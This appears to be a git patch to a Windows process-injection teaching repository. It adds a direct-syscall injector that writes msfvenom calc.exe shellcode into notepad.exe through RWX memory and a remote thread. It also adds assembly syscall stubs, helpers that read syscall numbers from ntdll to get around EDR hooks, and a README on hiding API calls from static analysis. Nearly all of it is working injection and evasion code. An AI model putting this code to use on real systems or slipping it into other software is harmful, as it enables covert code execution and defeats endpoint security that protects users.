From 7fd776ecfae350fb3125fa505053116afb1754f2 Mon Sep 17 00:00:00 2001 From: toneillcodes Date: Sat, 4 Apr 2026 12:03:40 -0400 Subject: [PATCH] Updating PEB/EAT code, adding syscall examples and snippets --- README.md | 12 +- direct-syscalls/direct-syscalls-ex.cpp | 112 +++++++++++++++++++ direct-syscalls/direct-syscalls.asm | 69 ++++++++++++ dynamic-function-resolution/README.md | 27 ++++- {header-files => includes}/peb-eat-utils.cpp | 5 - {header-files => includes}/peb-eat-utils.h | 8 +- includes/ps-utils.cpp | 28 +++++ includes/ps-utils.h | 12 ++ includes/syscall-utils.cpp | 40 +++++++ includes/syscall-utils.h | 13 +++ {header-files => includes}/utils.cpp | 0 {header-files => includes}/utils.h | 0 snippets/syscallhunter.cpp | 18 +++ snippets/syscalls.asm | 33 ++++++ walking-peb-eat/eat-crawler.cpp | 4 +- 15 files changed, 364 insertions(+), 17 deletions(-) create mode 100644 direct-syscalls/direct-syscalls-ex.cpp create mode 100644 direct-syscalls/direct-syscalls.asm rename {header-files => includes}/peb-eat-utils.cpp (96%) rename {header-files => includes}/peb-eat-utils.h (73%) create mode 100644 includes/ps-utils.cpp create mode 100644 includes/ps-utils.h create mode 100644 includes/syscall-utils.cpp create mode 100644 includes/syscall-utils.h rename {header-files => includes}/utils.cpp (100%) rename {header-files => includes}/utils.h (100%) create mode 100644 snippets/syscallhunter.cpp create mode 100644 snippets/syscalls.asm diff --git a/README.md b/README.md index 531992e..7a277fc 100644 --- a/README.md +++ b/README.md @@ -10,9 +10,9 @@ A collection of examples intended to demonstrate the fundamentals and provide a * [injection-example-4.cpp](https://github.com/toneillcodes/windows-process-injection/blob/main/fundamentals/injection-example-4.cpp): injecting calc.exe msfvenom shellcode into a remote process, with memory protection toggling and using dynamic function resolution ## Techniques -* [Dynamic Function Resolution]() -* [Module Stomping] -* [Walking the PEB and EAT] -* [Direct Syscalls] -* [Indirect Syscalls] -* [Thread Pool Injection] \ No newline at end of file +* [Dynamic Function Resolution](dynamic-function-resolution\README.md) +* [Module Stomping](module-stomping\README.md) +* [Walking the PEB and EAT](walking-peb-eat\README.md) +* [Direct Syscalls](direct-syscalls\README.md) +* [Indirect Syscalls](indirect-syscalls\README.md) +* [Thread Pool Injection](thread-pool-injection\README.md) \ No newline at end of file diff --git a/direct-syscalls/direct-syscalls-ex.cpp b/direct-syscalls/direct-syscalls-ex.cpp new file mode 100644 index 0000000..a738616 --- /dev/null +++ b/direct-syscalls/direct-syscalls-ex.cpp @@ -0,0 +1,112 @@ +/* +* ml64.exe /c direct-syscalls.asm +* cl.exe direct-syscalls-ex.cpp ps-utils.cpp syscall-utils.cpp direct-syscalls.obj /Fe:direct-syscalls.exe +*/ +#include +#include "syscall-utils.h" +#include "ps-utils.h" + +extern "C" { + // https://ntdoc.m417z.com/NtAllocateVirtualMemory + NTSTATUS SysNtAllocateVirtualMemory( + HANDLE ProcessHandle, + PVOID* BaseAddress, + ULONG_PTR ZeroBits, + PSIZE_T RegionSize, + ULONG AllocationType, + ULONG Protect + ); + + // https://ntdoc.m417z.com/NtWriteVirtualMemory + NTSTATUS SysNtWriteVirtualMemory( + HANDLE ProcessHandle, + PVOID BaseAddress, + PVOID Buffer, + SIZE_T NumberOfBytesToWrite, + PSIZE_T NumberOfBytesWritten + ); + + // https://ntdoc.m417z.com/ntcreatethreadex + NTSTATUS SysNtCreateThreadEx( + PHANDLE ThreadHandle, + ACCESS_MASK DesiredAccess, + PVOID ObjectAttributes, + HANDLE ProcessHandle, + PVOID lpStartAddress, + PVOID lpParameter, + ULONG Flags, + SIZE_T StackZeroBits, + SIZE_T SizeOfStackCommit, + SIZE_T SizeOfStackReserve, + PVOID lpBytesBuffer + ); + + // https://ntdoc.m417z.com/NtWaitForSingleObject + NTSTATUS SysNtWaitForSingleObject( + HANDLE Handle, + BOOLEAN Alertable, + PLARGE_INTEGER Timeout + ); + } + +int main(int argc, char* argv[]) { + unsigned char buf[] = + "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" + "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" + "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" + "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" + "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" + "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" + "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" + "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" + "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" + "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" + "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" + "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" + "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" + "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" + "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" + "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" + "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd" + "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" + "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" + "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; + + DWORD pid = 0; + const wchar_t* processName = L"notepad.exe"; + + pid = FindPidByName(processName); + if (pid == 0) { + printf("[ERROR] Failed to obtain process ID!\n"); + return -1; + } + + printf("[*] Running PI with target PID: %u\n", pid); + + // Open a handle to the current process, this must be passed to VirtualAllocEx + HANDLE pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid)); + if (pHandle == NULL) { + printf("Failed to acquire process handle!\n"); + return -1; + } + + printf("[*] Successfully opened handle to PID: %u\n", pid); + + PVOID bufferAddress = NULL; + SIZE_T buffSize = sizeof(buf); + //SysNtAllocateVirtualMemory((HANDLE)-1, (PVOID*)&bufferAddress, (ULONG_PTR)0, &buffSize, (ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE); + SysNtAllocateVirtualMemory(pHandle, (PVOID*)&bufferAddress, (ULONG_PTR)0, &buffSize, (ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE); + + SIZE_T bytesWritten; + //SysNtWriteVirtualMemory(GetCurrentProcess(), bufferAddress, buf, sizeof(buf), &bytesWritten); + SysNtWriteVirtualMemory(pHandle, bufferAddress, buf, sizeof(buf), &bytesWritten); + + HANDLE hThread; + //SysNtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)bufferAddress, NULL, FALSE, 0, 0, 0, NULL); + SysNtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, pHandle, (LPTHREAD_START_ROUTINE)bufferAddress, NULL, FALSE, 0, 0, 0, NULL); + + SysNtWaitForSingleObject(hThread, FALSE, NULL); + getchar(); + + return 0; +} \ No newline at end of file diff --git a/direct-syscalls/direct-syscalls.asm b/direct-syscalls/direct-syscalls.asm new file mode 100644 index 0000000..d60d3d8 --- /dev/null +++ b/direct-syscalls/direct-syscalls.asm @@ -0,0 +1,69 @@ +; +; Function: NtAllocateVirtualMemory +; SSN: 0x0018 +; +; Function: NtWriteVirtualMemory +; SSN: 0x003A +; +; Function: NtCreateThreadEx +; SSN: 0x00BC +; +; Function: NtWaitForSingleObject +; SSN: 0x0004 +; + +.CODE + +; --- NtAllocateVirtualMemory Wrapper --- +; This follows the x64 Calling Convention (Windows) +; Args: RCX, RDX, R8, R9, [Stack...] + +SysNtAllocateVirtualMemory PROC + mov r10, rcx ; The 'syscall' instruction destroys RCX. + ; We move the first argument (ProcessHandle) to R10 + ; because the kernel expects it there instead of RCX. + + mov eax, 18h ; Load the System Service Number (SSN) into EAX. + ; 0x18 is the ID for NtAllocateVirtualMemory on + ; many Windows 10/11 x64 builds. + + syscall ; Transfer control to the Windows Kernel. + ; The CPU switches to Ring 0 and executes the function + ; associated with the ID currently in EAX (0x18). + + ret ; Return to the caller. The NTSTATUS result + ; will be stored in the EAX register. +SysNtAllocateVirtualMemory ENDP + +extern wNtAllocateVirtualMemorySSN : DWORD ; Variable defined in C++ + +;extern wNtAllocateVirtualMemorySSN : DWORD ; Variable defined in C++ +;SysNtAllocateVirtualMemory PROC +; mov r10, rcx +; mov eax, wNtAllocateVirtualMemorySSN ; Load the dynamic SSN +; syscall +; ret +;SysNtAllocateVirtualMemory ENDP + +SysNtWriteVirtualMemory PROC + mov r10, rcx + mov eax, 3Ah + syscall + ret +SysNtWriteVirtualMemory ENDP + +SysNtCreateThreadEx PROC + mov r10, rcx + mov eax, 0BCh + syscall + ret +SysNtCreateThreadEx ENDP + +SysNtWaitForSingleObject PROC + mov r10, rcx + mov eax, 4 + syscall + ret +SysNtWaitForSingleObject ENDP + +END \ No newline at end of file diff --git a/dynamic-function-resolution/README.md b/dynamic-function-resolution/README.md index 09c6acb..5a88b01 100644 --- a/dynamic-function-resolution/README.md +++ b/dynamic-function-resolution/README.md @@ -1,2 +1,27 @@ # Dyanmic Function Resolution -Intended to hide functions from static analysis that evaluates strings and the IAT. \ No newline at end of file +Intended to hide functions from static analysis that evaluates strings and the IAT. + +## Overview +Define the prototype definition. +Use something that doesn't include the string you want to obfuscate. +P_VirtualAllocEx is used below along with 'myVirtualAllocEx' which are good for examples but horrible for OPSEC and defeats the purpose of DFR. +``` +// https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex +typedef LPVOID(WINAPI* P_VirtualAllocEx)( + HANDLE pHandle, + LPVOID lpAddress, + SIZE_T dwSize, + DWORD flAllocationType, + DWORD flProtect +); +``` + +Call GetProcAddress to resolve the address. +``` +myVirtualAllocEx = (P_VirtualAllocEx)GetProcAddress(hKernel32, "VirtualAllocEx"); +``` + +Invoke the function. +``` +LPVOID bufferAddress = myVirtualAllocEx(pHandle, NULL, sizeof buf, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE); +``` \ No newline at end of file diff --git a/header-files/peb-eat-utils.cpp b/includes/peb-eat-utils.cpp similarity index 96% rename from header-files/peb-eat-utils.cpp rename to includes/peb-eat-utils.cpp index 6626321..7fd6231 100644 --- a/header-files/peb-eat-utils.cpp +++ b/includes/peb-eat-utils.cpp @@ -1,8 +1,3 @@ -#include -#include -#include // Required for __readgsqword / __readfsdword -#include // for peb data structure https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb - #include "peb-eat-utils.h" #include "utils.h" diff --git a/header-files/peb-eat-utils.h b/includes/peb-eat-utils.h similarity index 73% rename from header-files/peb-eat-utils.h rename to includes/peb-eat-utils.h index a0e5b51..46f0d59 100644 --- a/header-files/peb-eat-utils.h +++ b/includes/peb-eat-utils.h @@ -1,9 +1,11 @@ #ifndef PEB_EAT_UTILS_H #define PEB_EAT_UTILS_H -#include -#include -#include +#include // For IO operations +#include // For data structures, types, functions + +#include // Required for __readgsqword / __readfsdword +#include // for peb data structure https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb // Define missing NTSTATUS codes #ifndef STATUS_SUCCESS diff --git a/includes/ps-utils.cpp b/includes/ps-utils.cpp new file mode 100644 index 0000000..8c1f7ae --- /dev/null +++ b/includes/ps-utils.cpp @@ -0,0 +1,28 @@ +#include "ps-utils.h" +#include +#include + +extern "C" DWORD FindPidByName(const wchar_t* processName) { + DWORD pid = 0; + // Force the Wide-character version of the struct + PROCESSENTRY32W entry; + entry.dwSize = sizeof(PROCESSENTRY32W); + + // Create a snapshot of the system processes + HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + + if (snapshot != INVALID_HANDLE_VALUE) { + // Force the Wide-character version of the API + if (Process32FirstW(snapshot, &entry)) { + do { + // Now both sides are Wide strings, so _wcsicmp works! + if (_wcsicmp(processName, entry.szExeFile) == 0) { + pid = entry.th32ProcessID; + break; + } + } while (Process32NextW(snapshot, &entry)); + } + CloseHandle(snapshot); + } + return pid; +} \ No newline at end of file diff --git a/includes/ps-utils.h b/includes/ps-utils.h new file mode 100644 index 0000000..2147baa --- /dev/null +++ b/includes/ps-utils.h @@ -0,0 +1,12 @@ +#pragma once +#include + +#ifdef __cplusplus +extern "C" { +#endif + +DWORD FindPidByName(const wchar_t* processName); + +#ifdef __cplusplus +} +#endif \ No newline at end of file diff --git a/includes/syscall-utils.cpp b/includes/syscall-utils.cpp new file mode 100644 index 0000000..59fa0e6 --- /dev/null +++ b/includes/syscall-utils.cpp @@ -0,0 +1,40 @@ +#include "syscall-utils.h" + +extern "C" DWORD GetSSN(PVOID functionAddress) { + BYTE* ptr = (BYTE*)functionAddress; + + /* We are looking for the 'mov eax, SSN' instruction. + The opcode is B8 (MOV EAX, imm32) + In most Windows stubs, it starts at the 4th byte: + 4C 8B D1 B8 [SSN] 00 00 00 + + index 0: 4C 8B D1 (mov r10, rcx) + index 3: B8 (mov eax, ...) + */ + if (ptr[3] == 0xB8) { + return *(DWORD*)(ptr + 4); + } + + // If it's not at index 3, an EDR might have hooked it. + // We can search for the 0xB8 byte within the first few instructions. + for (int i = 0; i < 16; i++) { + if (ptr[i] == 0xB8) { + return *(DWORD*)(ptr + i + 1); + } + } + + return 0; +} + +// Simplified logic to find the 'syscall' opcode (0x0F 0x05) +extern "C" PVOID GetSyscallAddress(PVOID functionAddress) { + BYTE* ptr = (BYTE*)functionAddress; + + // Search the first 32 bytes of the function for the syscall instruction 0f 05 + for (int i = 0; i < 32; i++) { + if (ptr[i] == 0x0F && ptr[i+1] == 0x05) { + return (PVOID)(ptr + i); + } + } + return NULL; +} \ No newline at end of file diff --git a/includes/syscall-utils.h b/includes/syscall-utils.h new file mode 100644 index 0000000..933973e --- /dev/null +++ b/includes/syscall-utils.h @@ -0,0 +1,13 @@ +#pragma once +#include + +#ifdef __cplusplus +extern "C" { +#endif + +DWORD GetSSN(PVOID functionAddress); +PVOID GetSyscallAddress(PVOID functionAddress); + +#ifdef __cplusplus +} +#endif \ No newline at end of file diff --git a/header-files/utils.cpp b/includes/utils.cpp similarity index 100% rename from header-files/utils.cpp rename to includes/utils.cpp diff --git a/header-files/utils.h b/includes/utils.h similarity index 100% rename from header-files/utils.h rename to includes/utils.h diff --git a/snippets/syscallhunter.cpp b/snippets/syscallhunter.cpp new file mode 100644 index 0000000..a1093df --- /dev/null +++ b/snippets/syscallhunter.cpp @@ -0,0 +1,18 @@ +#include + +#include "syscall-utils.h" + +int main() { + HMODULE hModule = GetModuleHandleA("ntdll.dll"); + PVOID funcAddress = GetProcAddress(hModule, "NtCreateThreadEx"); + + if (funcAddress) { + DWORD ssn = GetSSN(funcAddress); + PVOID sysAddr = GetSyscallAddress(funcAddress); + + printf("Function: NtCreateThreadEx\n"); + printf("SSN: 0x%04X\n", ssn); + printf("Syscall: 0x%p\n", sysAddr); + } + return 0; +} \ No newline at end of file diff --git a/snippets/syscalls.asm b/snippets/syscalls.asm new file mode 100644 index 0000000..3b3d059 --- /dev/null +++ b/snippets/syscalls.asm @@ -0,0 +1,33 @@ +.code + +; extern "C" DWORD GetSSNFromAddress(PVOID funcAddr); +; Argument 'funcAddr' is in RCX +GetSSNFromAddress PROC + mov r8, rcx ; Copy function address to R8 + xor rax, rax ; Clear RAX (our return value) + mov r9, 0 ; Counter for our search loop + +search_loop: + ; Check if we've searched too far (e.g., 32 bytes) + cmp r9, 32 + je not_found + + ; Look for 0xB8 (mov eax, ...) + cmp byte ptr [r8 + r9], 0B8h + je found_ssn + + inc r9 + jmp search_loop + +found_ssn: + ; The SSN starts at the byte after 0xB8 + inc r9 + mov eax, dword ptr [r8 + r9] + ret + +not_found: + xor eax, eax ; Return 0 if not found + ret +GetSSNFromAddress ENDP + +END \ No newline at end of file diff --git a/walking-peb-eat/eat-crawler.cpp b/walking-peb-eat/eat-crawler.cpp index 691baec..5e773c2 100644 --- a/walking-peb-eat/eat-crawler.cpp +++ b/walking-peb-eat/eat-crawler.cpp @@ -7,8 +7,8 @@ // for testing with MessageBoxA #pragma comment(lib, "user32.lib") -#include "../header-files/utils.h" -#include "../header-files/peb-eat-utils.h" +#include "utils.h" +#include "peb-eat-utils.h" #define MAX_EXPORTED_FUNCS 25